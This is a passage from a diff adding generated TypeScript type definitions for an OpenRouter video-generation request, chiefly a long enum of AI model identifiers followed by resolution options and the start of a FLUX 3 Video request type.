'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosBlackForestLabsFlux3VideoRequestModelEnumKey = + (typeof openrouterPostVideosBlackForestLabsFlux3VideoRequestModelEnum)[keyof typeof openrouterPostVideosBlackForestLabsFlux3VideoRequestModelEnum] + +export const openrouterPostVideosBlackForestLabsFlux3VideoRequestResolutionEnum = + { + '720p': '720p', + '1080p': '1080p', + '2K': '2K', + '4K': '4K', + } as const + +export type OpenrouterPostVideosBlackForestLabsFlux3VideoRequestResolutionEnumKey = + (typeof openrouterPostVideosBlackForestLabsFlux3VideoRequestResolutionEnum)[keyof typeof openrouterPostVideosBlackForestLabsFlux3VideoRequestResolutionEnum] + +/** + * @description Black Forest Labs: FLUX 3 Video (black-forest-labs/flux-3-video) — model-constrained video generation request. FLUX.3 Video is a video generation model from Black Forest Labs. It supports text-to-video, image-guided generation with opening and closing keyframes, and video continuation workflows, making it suited for controlled... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type 